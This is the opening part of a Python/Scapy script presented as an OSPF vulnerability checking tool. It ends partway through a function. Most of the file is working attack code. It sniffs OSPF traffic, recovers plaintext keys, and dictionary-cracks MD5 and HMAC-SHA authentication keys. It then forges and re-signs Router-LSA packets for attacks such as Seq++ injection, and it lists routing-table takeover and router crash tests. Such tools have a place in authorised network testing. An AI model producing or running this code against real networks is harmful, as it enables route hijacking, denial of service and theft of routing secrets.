-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathOSV-OSPF Vulnerability Checking Tool-(v.1.2).py
4102 lines (3485 loc) · 158 KB
/
OSV-OSPF Vulnerability Checking Tool-(v.1.2).py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
from scapy.all import *
import time
import hashlib
import fnmatch
import os
print ("\n")
print("====================================================================================")
print ("\n")
print(" .----------------. .----------------. .----------------.")
print("| .--------------. | .--------------. | .--------------. |")
print("| | ____ | | | _______ | | | ____ ____ | |")
print("| | .' `. | | | / ___ | | | ||_ _| |_ _| | |")
print("| | / .--. \ | | | | (__ \_| | | | \ \ / / | |")
print("| | | | | | | | | '.___`-. | | | \ \ / / | |")
print("| | \ `--' / | | | |`\____) | | | | \ ' / | |")
print("| | `.____.' | | | |_______.' | | | \_/ | |")
print("| | | | | | | | | |")
print("| '--------------' | '--------------' | '--------------' |")
print(" '----------------' '----------------' '----------------' ")
print("")
print ("OSV - OSPF Vulnerability Checking Tool - By Nick Kasem")
print("Ver - 1.2 - 1/12/17\n")
print("====================================================================================\n")
print("Total vulnerability checking support: 10\n")
print("====================================================================================\n")
print("-> -'Ctrl+c' to exit program\n")
print("-> -Please reload routers after perform each attack to get an accurate results\n")
print("====================================================================================\n")
time.sleep(1)
print ("Checking for any OSPF packet in the network\n")
##note typeospf 1-Hello 2-DBDesc 3-LSReq 4-LSUpd 5-LSAck
########### Start of selecting attack
def Authenidentify():
def findAuth():
a=pkts[0][OSPF_Hdr].authdata
b=format(a, 'x') #get rid of 0x
return b.decode("hex") #change from hex to ascii
global key_padd
key_padd = b.decode("hex")
def md5_crypto_attack():
ospf_header_nov4 = pkts[0][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts[0][OSPF_Hdr].len] #cut out hash
print("Here are usable wordlist(s) in the current directory to perform password cracking" + "\n")
for file in os.listdir('.'): #<< list all txt files
if fnmatch.fnmatch(file, '*.txt'):
print "-", file
print("")
print ("Enter wordlist file you want to use")
while True: #infinite loop
print(">"),
wordlist_input = raw_input()
try:
open(wordlist_input, 'r')
break #if can open the wordlist, then break infinite loop
except IOError: #No such file or mistype, Please re-input.
print ("No such file or directory, please re-input valid file listed above or type Ctrl + D to quit ")
print ("\n")
print ("Performing password-cracking from " + wordlist_input + ", may take up to 5 minutes depending on wordlist size")
time.sleep(1)
start_time = time.time()
for line in open(wordlist_input, 'r'):
key = line.strip()
global key_padd
#print(key) #<<<will take more time to print out all of the text
if len(key)<16:
key_padd = key + ('\x00'*(16-len(key)))
else:
key_padd = key[:16]
ospf_header_combine = ospf_header_cuthash + key_padd
genhash = hashlib.md5()
genhash.update(ospf_header_combine)
if genhash.digest() == Auth_data_decode:
print ("Key found! secret-key is: " +key_padd)
elapsed_time = time.time() - start_time
print(elapsed_time)
break
#else: print("Key not found from Dictionary attack: " + genhash.hexdigest())
if genhash.digest() != Auth_data_decode:
print ("\n")
print("Key not found from this wordlist")
def sha1_crypto_attack():
ospf_header_nov4 = pkts[0][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts[0][OSPF_Hdr].len] #left only pure header, no auth hash at the back
print("Here are usable wordlist in the directory to perform password cracking" + "\n")
for file in os.listdir('.'): #<< list all txt files
if fnmatch.fnmatch(file, '*.txt'):
print "-", file
print("")
print ("Enter wordlist file you want to use")
while True: #infinite loop
print(">"),
wordlist_input = raw_input()
try:
open(wordlist_input, 'r')
break #if can open the wordlist, then break infinite loop
except IOError: #No such file or mistype, Please re-input.
print ("No such file or directory, please re-input valid file listed above or type Ctrl + D to quit ")
print ("\n")
print ("Performing password-cracking from " + wordlist_input + " may take up to 5 minutes depends on wordlist size")
time.sleep(1)
start_time = time.time()
for line in open(wordlist_input, 'r'):
key = line.strip()
global key_padd
#print(key) #sharp this <<<will take more time to print out all of the text
if len(key)<64:
key_padd = key + ('\x00'*(64-len(key)))
else:
key_padd = key[:64]
i_pad = ('\x36'*(64))
o_pad = ('\x5c'*(64))
aa_pad = ('878fe1f3'*(5))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha1()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha1()
genhash2.update(hash_sum_2)
#print(genhash2.hexdigest())
if genhash2.digest() == Auth_data_decode:
print ("Key found! secret-key is: " +key_padd)
elapsed_time = time.time() - start_time
print(elapsed_time)
break
#else: print("Key not found from Dictionary attack: " + genhash2.hexdigest()) #<<sharp this
if genhash2.digest() != Auth_data_decode:
print ("\n")
print("Key not found from this wordlist")
def sha256_crypto_attack():
ospf_header_nov4 = pkts[0][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts[0][OSPF_Hdr].len] #left only pure header, no auth hash at the back
print("Here are usable wordlist in the directory to perform password cracking" + "\n")
for file in os.listdir('.'): #<< list all txt files
if fnmatch.fnmatch(file, '*.txt'):
print "-", file
print("")
print ("Enter wordlist file you want to use")
while True: #infinite loop
print(">"),
wordlist_input = raw_input()
try:
open(wordlist_input, 'r')
break #if can open the wordlist, then break infinite loop
except IOError: #No such file or mistype, Please re-input.
print ("No such file or directory, please re-input valid file listed above or type Ctrl + D to quit ")
print ("\n")
print ("Performing password-cracking from " + wordlist_input + " may take up to 5 minutes depends on wordlist size")
time.sleep(1)
start_time = time.time()
for line in open(wordlist_input, 'r'):
key = line.strip()
global key_padd
#print(key) <<<will take more time to print out all of the text
if len(key)<64:
key_padd = key + ('\x00'*(64-len(key)))
else:
key_padd = key[:64]
i_pad = ('\x36'*(64))
o_pad = ('\x5c'*(64))
aa_pad = ('878fe1f3'*(8))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha256()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha256()
genhash2.update(hash_sum_2)
#print(genhash2.hexdigest())
if genhash2.digest() == Auth_data_decode:
print ("Key found! secret-key is: " +key_padd)
elapsed_time = time.time() - start_time
print(elapsed_time)
break
#else: print("Key not found from Dictionary attack: " + genhash.hexdigest())
if genhash2.digest() != Auth_data_decode:
print ("\n")
print("Key not found from this wordlist")
def sha384_crypto_attack():
ospf_header_nov4 = pkts[0][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts[0][OSPF_Hdr].len] #left only pure header, no auth hash at the back
print("Here are usable wordlist in the directory to perform password cracking" + "\n")
for file in os.listdir('.'): #<< list all txt files
if fnmatch.fnmatch(file, '*.txt'):
print "-", file
print("")
print ("Enter wordlist file you want to use")
while True: #infinite loop
print(">"),
wordlist_input = raw_input()
try:
open(wordlist_input, 'r')
break #if can open the wordlist, then break infinite loop
except IOError: #No such file or mistype, Please re-input.
print ("No such file or directory, please re-input valid file listed above or type Ctrl + D to quit ")
print ("\n")
print ("Performing password-cracking from " + wordlist_input + " may take up to 5 minutes depends on wordlist size")
time.sleep(1)
start_time = time.time()
for line in open(wordlist_input, 'r'):
key = line.strip()
global key_padd
#print(key) <<<will take more time to print out all of the text
if len(key)<128:
key_padd = key + ('\x00'*(128-len(key)))
else:
key_padd = key[:128]
i_pad = ('\x36'*(128))
o_pad = ('\x5c'*(128))
aa_pad = ('878fe1f3'*(12))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha384()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha384()
genhash2.update(hash_sum_2)
#print(genhash2.hexdigest())
if genhash2.digest() == Auth_data_decode:
print ("Key found! secret-key is: " +key_padd)
elapsed_time = time.time() - start_time
print(elapsed_time)
break
#else: print("Key not found from Dictionary attack: " + genhash.hexdigest())
if genhash2.digest() != Auth_data_decode:
print ("\n")
print("Key not found from this wordlist")
def sha512_crypto_attack():
ospf_header_nov4 = pkts[0][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts[0][OSPF_Hdr].len] #left only pure header, no auth hash at the back
print("Here are usable wordlist in the directory to perform password cracking" + "\n")
for file in os.listdir('.'): #<< list all txt files
if fnmatch.fnmatch(file, '*.txt'):
print "-", file
print("")
print ("Enter wordlist file you want to use")
while True: #infinite loop
print(">"),
wordlist_input = raw_input()
try:
open(wordlist_input, 'r')
break #if can open the wordlist, then break infinite loop
except IOError: #No such file or mistype, Please re-input.
print ("No such file or directory, please re-input valid file listed above or type Ctrl + D to quit ")
print ("")
print ("Performing password-cracking from " + wordlist_input + " may take up to 5 minutes depends on wordlist size")
time.sleep(1)
start_time = time.time()
for line in open(wordlist_input, 'r'):
key = line.strip()
global key_padd
#print(key) <<<will take more time to print out all of the text
if len(key)<128:
key_padd = key + ('\x00'*(128-len(key)))
else:
key_padd = key[:128]
i_pad = ('\x36'*(128))
o_pad = ('\x5c'*(128))
aa_pad = ('878fe1f3'*(16))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha512()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha512()
genhash2.update(hash_sum_2)
#print(genhash2.hexdigest())
if genhash2.digest() == Auth_data_decode:
print ("")
print ("Key found! secret-key is: " +key_padd)
elapsed_time = time.time() - start_time
print(elapsed_time)
break
#else: print("Key not found from Dictionary attack: " + genhash.hexdigest())
if genhash2.digest() != Auth_data_decode:
print ("")
print("Key not found from this wordlist")
'''#<<<< #comment out when use pcap | comment in when want sniff
pkts=rdpcap('sha512.pcap')
raw_load = pkts[0][Raw].load
raw_load = raw_load.encode('hex')
Pac_length = raw_load[4:8] #<<<finding length of packet of ospf to find the beginning of auth data
pac_duct = int(Pac_length,16)
Auth_length = raw_load[38:40] #<<<<finding length of authen data
Auth_duct = int(Auth_length,16)
Auth_data = raw_load[pac_duct*2:pac_duct*2+(Auth_duct*2)]
Auth_data_decode = Auth_data.decode('hex')
load_contrib('ospf') #Loading module after getting raw header info
pkts=rdpcap('sha512.pcap') #Load again to get info from module ospf
''' #<<<< #comment in when want to sniff and use pcap
#pkts=sniff(filter="ip dst 224.0.0.5",count=1)
#while pkts[0][Raw].load[1:2] != '\x01':
#pkts=sniff(filter="ip dst 224.0.0.5",count=1)
pkts=sniff(filter="ip proto 0x59", count=1)
def Packet_type():
if pkts[0][Raw].load[1:2] == '\x01':
return "Hello Packet (Type 1) Captured"
elif pkts[0][Raw].load[1:2] == '\x02':
return "Database Description Packet (Type 2) Captured"
elif pkts[0][Raw].load[1:2] == '\x03':
return "Link State Request Packet (Type 3) Captured"
elif pkts[0][Raw].load[1:2] == '\x04':
return "Link State Update Packet (Type 4) Captured"
elif pkts[0][Raw].load[1:2] == '\x05':
return "Link State Acknowledgement Packet (Type 5) Captured"
else: return "Unknown OSPF Packet type Captured"
wrpcap("Temp_OSPF_Sniff.pcap",pkts[0])
raw_load = pkts[0][Raw].load
raw_load = raw_load.encode('hex')
Pac_length = raw_load[4:8] #<<<finding length of packet of ospf to find the beginning of auth data
pac_duct = int(Pac_length,16)
Auth_length = raw_load[38:40] #<<<<finding length of authen data
Auth_duct = int(Auth_length,16)
Auth_data = raw_load[pac_duct*2:pac_duct*2+(Auth_duct*2)]
Auth_data_decode = Auth_data.decode('hex')
print("This network is running OSPF")
time.sleep(1)
print(Packet_type() + "\n")
time.sleep(1)
print("Checking for Authentication Type")
time.sleep(2)
load_contrib('ospf')
pkts=rdpcap("Temp_OSPF_Sniff.pcap")
global authenTY
#<<< #comment out when want to sniff | comment in when want to use pcap ||notness
if (pkts[0][OSPF_Hdr].authtype == 0):
authenTY="***This OSPF network has No Authentication***, consider vulnerable for using weak authentication scheme"
print ("***This OSPF network has No Authentication***"+ "\n")
print("====================================================================================\n")
global key_padd
key_padd = "None"
elif (pkts[0][OSPF_Hdr].authtype == 1):
authenTY="***This OSPF network has Plain-text Authentication, consider vulnerable for using weak authentication scheme***"
print ("***This OSPF network has Plain-text Authentication***"+ "\n")
print("====================================================================================\n")
time.sleep(2)
print ("The Authentication-key is " + findAuth())
elif (pkts[0][OSPF_Hdr].authtype == 2 and pkts[0][OSPF_Hdr].authdatalen == 16):
authenTY="***This OSPF network has Cryptographic Authentication '(MD5)'***"
print ("***This OSPF network has Cryptographic Authentication '(MD5)'***"+ "\n")
print("====================================================================================\n")
time.sleep(2)
md5_crypto_attack()
elif (pkts[0][OSPF_Hdr].authtype == 2 and pkts[0][OSPF_Hdr].authdatalen == 20):
authenTY="***This OSPF network has Cryptographic Authentication '(HMAC-SHA-1)'***"
print ("***This OSPF network has Cryptographic Authentication '(HMAC-SHA-1)'***"+ "\n")
print("====================================================================================\n")
time.sleep(2)
sha1_crypto_attack()
elif (pkts[0][OSPF_Hdr].authtype == 2 and pkts[0][OSPF_Hdr].authdatalen == 32):
authenTY="***This OSPF network has Cryptographic Authentication '(HMAC-SHA-256)'***"
print ("***This OSPF network has Cryptographic Authentication '(HMAC-SHA-256)'***"+ "\n")
print("====================================================================================\n")
time.sleep(2)
sha256_crypto_attack()
elif (pkts[0][OSPF_Hdr].authtype == 2 and pkts[0][OSPF_Hdr].authdatalen == 48):
authenTY="***This OSPF network has Cryptographic Authentication '(HMAC-SHA-384)'***"
print ("***This OSPF network has Cryptographic Authentication '(HMAC-SHA-384)'***"+ "\n")
print("====================================================================================\n")
time.sleep(2)
sha384_crypto_attack()
elif (pkts[0][OSPF_Hdr].authtype == 2 and pkts[0][OSPF_Hdr].authdatalen == 64):
authenTY="***This OSPF network has Cryptographic Authentication '(HMAC-SHA-512)'***"
print ("***This OSPF network has Cryptographic Authentication '(HMAC-SHA-512)'***"+ "\n")
print("====================================================================================\n")
time.sleep(2)
sha512_crypto_attack()
else:
print ("This OSPF network has unknown Authentication scheme")
time.sleep(3)
Authenidentify()
########### End of cryto identifying
global sta1
sta1 = " Not yet tested"
global sta2
sta2 = " Not yet tested"
global sta3
sta3 = " Not yet tested"
global sta4
sta4 = " Not yet tested"
global sta5
sta5 = " Not yet tested"
global sta6
sta6 = " Not yet tested"
global sta7
sta7 = " Not yet tested"
global sta8
sta8 = " Not yet tested"
global sta91
sta91 = " Not yet tested"
global sta92
sta92 = " Not yet tested"
global sta93
sta93 = " Not yet tested"
global sta10
sta10 = " Not yet tested"
########### Start of selecting Attacks
def main():
print ("")
print("====================================================================================")
print ("")
print ("Please select an attack")
print ("")
#sta1 = "Not yet tested"
def list_result():
print authenTY
if key_padd is not None:
print "Secret-key found: " + key_padd + "\n"
print("[1] Seq++ Attack")
print(sta1)
print("[2] MaxAge Attack")
print(sta2)
print("[3] MaxSequence Attack")
print(sta3)
print("[4] Disguised LSA Attack (Owning the Routing Table Part I)")
print(sta4)
print("[5] Remote false adjacency Attack (Owning the Routing Table Part I)")
print(sta5)
print("[6] Persistent OSPF Attack(Owning the Routing Table Part II)")
print(sta6)
print("[7] DR/BDR Re-Electing Attack")
print(sta7)
print("[8] Sending large number of neighbor announcement (crash test)")
print(sta8)
print("[9] Sending LSA-update with crafted length fields")
print(" [9.1] Invalid Value in Length field(length = 0) (crash test)")
print(sta91)
print(" [9.2] Value in length field larger than actual length (crash test)")
print(sta92)
print(" [9.3] Value in length field smaller than actual length (crash test)")
print(sta93)
print("[10] Sending large size OSPF Router-LSA Packet (crash test)")
print(sta10)
print ("\n")
raw_input("Press Enter to continue...")
main()
#Attacks()
def Attack_type(A):
if(A=="1"):
return " Seq++ Attack"
elif(A=="2"):
return " MaxAge Attack"
elif(A=="3"):
return " MaxSequence Attack"
elif(A=="4"):
return " Disguised LSA Attack (Owning the Routing Table Part I)"
elif(A=="5"):
return " Remote false adjacency Attack (Owning the Routing Table Part I)"
elif(A=="6"):
return " Persistent OSPF Attack(Owning the Routing Table Part II)"
elif(A=="7"):
return " DR/BDR Re-Electing Attack"
elif(A=="8"):
return " Sending large number of neighbor announcement (crash test)"
#elif(A=="9"):
#return " Sending LSA-update with crafted length fields"
elif(A=="9.1"):
return " Invalid Value in Length field(length = 0) (crash test)"
elif(A=="9.2"):
return " Value in length field larger than actual length (crash test)"
elif(A=="9.3"):
return " Value in length field smaller than actual length (crash test)"
elif(A=="10"):
return " Sending large size OSPF Router-LSA Packet (crash test)"
#elif(A=="all" or A=="All"):
#return " All of the Attacks"
elif(A=="status"):
return "status"
else:
return "Out of list"
print("[1]" + Attack_type("1"))
print("[2]" + Attack_type("2"))
print("[3]" + Attack_type("3"))
print("[4]" + Attack_type("4"))
print("[5]" + Attack_type("5"))
print("[6]" + Attack_type("6"))
print("[7]" + Attack_type("7"))
print("[8]" + Attack_type("8"))
print("[9] Sending LSA-update with crafted length fields")
print(" [9.1]" + Attack_type("9.1"))
print(" [9.2]" + Attack_type("9.2"))
print(" [9.3]" + Attack_type("9.3"))
print("[10]" + Attack_type("10"))
print ("\n")
print ("Enter attack number you want to test or type 'status' to list all previous results")
while True:
global Selected_Attack
print(">"),
Selected_Attack = raw_input()
#print Attack_type(Selected_Attack)
if Attack_type(Selected_Attack) != "Out of list":
break
else: print ("Invalid, Please re-input attack number you want to test")
if(Selected_Attack == "1" or Selected_Attack == "2" or Selected_Attack == "3" or Selected_Attack == "4"
or Selected_Attack == "5" or Selected_Attack == "6" or Selected_Attack == "7" or Selected_Attack == "8"
or Selected_Attack == "9.1" or Selected_Attack == "9.2" or Selected_Attack == "9.3" or Selected_Attack == "10"):
print("")
print("====================================================================================")
print (" \nCommencing testing on " + "[" + Selected_Attack + "]" + Attack_type(Selected_Attack))
elif (Selected_Attack == 'status'):
print("Summary Report")
print("")
list_result()
else:
print("Invalid Input")
main()
########### End of Selecting Attacks
def Attacks():
def get_authtype(LSU_chk):
if (LSU_chk[OSPF_Hdr].authtype == 0):
#print ("***This LSU has No Authentication***"+ "\n")
return "0_no"
elif (LSU_chk[OSPF_Hdr].authtype == 1):
#print ("***This LSU has Plain-text Authentication***"+ "\n")
return "1_plain"
elif (LSU_chk[OSPF_Hdr].authtype == 2 and LSU_chk[OSPF_Hdr].authdatalen == 16):
#print ("***This LSU has Cryptographic Authentication '(MD5)'***"+ "\n")
return "2_md"
elif (LSU_chk[OSPF_Hdr].authtype == 2 and LSU_chk[OSPF_Hdr].authdatalen == 20):
#print ("***This LSU has Cryptographic Authentication '(HMAC-SHA-1)'***"+ "\n")
return "2_sha1"
elif (LSU_chk[OSPF_Hdr].authtype == 2 and LSU_chk[OSPF_Hdr].authdatalen == 32):
#print ("***This LSU has Cryptographic Authentication '(HMAC-SHA-256)'***"+ "\n")
return "2_sha256"
elif (LSU_chk[OSPF_Hdr].authtype == 2 and LSU_chk[OSPF_Hdr].authdatalen == 48):
#print ("***This LSU has Cryptographic Authentication '(HMAC-SHA-384)'***"+ "\n")
return "2_sha384"
elif (LSU_chk[OSPF_Hdr].authtype == 2 and LSU_chk[OSPF_Hdr].authdatalen == 64):
#print ("***This LSU has Cryptographic Authentication '(HMAC-SHA-512)'***"+ "\n")
return "2_sha512"
else:
print ("Error, this OSPF network has unknown Authentication scheme")
def one_seqPP_attack(): #Done <plus or pai duay
print("")
load_contrib('ospf')
print("Intercepting OSPF's LSU. Please wait, this may take up to 30 minutes")
def stopfilter(x):
if x[OSPF_Hdr].type == 4 and "OSPF_Router_LSA" in x :
return True
else:
return False
pkts_atk=sniff(filter="ip proto 0x59", stop_filter=stopfilter)
def chkvuln(keep_seq, R_id):
pkts_chk=sniff(filter="ip proto 0x59", timeout = 20)
global sta1
FFb=False
for index in range(len(pkts_chk)):
try:
if pkts_chk[index][OSPF_Router_LSA].seq == keep_seq+1 and pkts_chk[index][OSPF_Router_LSA].id == R_id:
sta1 = " Fightback engaged, not vulnerable for Seq++ Attack"
print "Fightback engaged, not vulnerable for Seq++ Attack"
FFb=True
break;
except IndexError:
FFb=False
continue
if FFb != True:
sta1 = " No fightback engaged, vulnerable for Seq++ Attack"
print("No fightback engaged, vulnerable for Seq++ Attack")
lenpkts = len(pkts_atk)-1 #to select the last packet captured from sniffed
if get_authtype(pkts_atk[lenpkts]) == "0_no" :
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 12
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
R_id = pkts_atk[lenpkts][OSPF_Router_LSA].id
sendp(pkts_atk[lenpkts], verbose=1)
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_atk[lenpkts], verbose=1)
print("Checking for Vulnerability")
chkvuln(keep_seq, R_id)
##Check by receiveack within 10 sec, and check with same ack and Packetchksum
elif get_authtype(pkts_atk[lenpkts]) == "1_plain" :
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 1
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_atk[lenpkts], verbose=1)
print("Checking for Vulnerability")
chkvuln(keep_seq)
elif get_authtype(pkts_atk[lenpkts]) == "2_md" :
pkts_atk[lenpkts][OSPF_Hdr].seq +=20 #<<<auth crypt sequence
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 1
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
ospf_header_nov4 = pkts_atk[lenpkts][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts_atk[lenpkts][OSPF_Hdr].len] #cut out hash
#print key_padd
ospf_header_combine = ospf_header_cuthash + key_padd
genhash = hashlib.md5()
genhash.update(ospf_header_combine)
pkts_new = str(pkts_atk[lenpkts])[:34] + ospf_header_cuthash + genhash.digest() #obtain the Layer2,3 header
pkts_new = pkts_new.__class__(str(pkts_new))
print ("")
print("Sending forged packet in 10 seconds")
print("Checksum = " + hex(pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum))
print("Sequence = " + hex(pkts_atk[lenpkts][OSPF_Router_LSA].seq))
time.sleep(10)
sendp(pkts_new)
print("Checking for Vulnerability")
chkvuln(keep_seq)
elif get_authtype(pkts_atk[lenpkts]) == "2_sha1" :
pkts_atk[lenpkts][OSPF_Hdr].seq +=20 #<<<auth crypt sequence
pkts_atk[lenpkts][OSPF_Router_LSA][OSPF_Link].metric += 12
pkts_atk[lenpkts][OSPF_Router_LSA].seq += 20
del pkts_atk[lenpkts].chksum
del pkts_atk[lenpkts][OSPF_Hdr].chksum
del pkts_atk[lenpkts][OSPF_Hdr][OSPF_Router_LSA].chksum
pkts_atk[lenpkts] = pkts_atk[lenpkts].__class__(str(pkts_atk[lenpkts]))
keep_seq = pkts_atk[lenpkts][OSPF_Router_LSA].seq
ospf_header_nov4 = pkts_atk[lenpkts][OSPF_Hdr] #cut ipv4 header out
ospf_header_cuthash = str(ospf_header_nov4)[:pkts_atk[lenpkts][OSPF_Hdr].len] #left only pure header, no auth hash at the back
i_pad = ('\x36'*(64))
o_pad = ('\x5c'*(64))
aa_pad = ('878fe1f3'*(5))
a_pad = (aa_pad.decode('hex'))
def xor_strings(xs, ys):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
i_key_pad = xor_strings(key_padd,i_pad)
o_key_pad = xor_strings(key_padd,o_pad)
hash_sum_1 = i_key_pad + ospf_header_cuthash + a_pad
genhash1 = hashlib.sha1()
genhash1.update(hash_sum_1)
hash_sum_2 = o_key_pad + genhash1.digest()
genhash2 = hashlib.sha1()
genhash2.update(hash_sum_2)
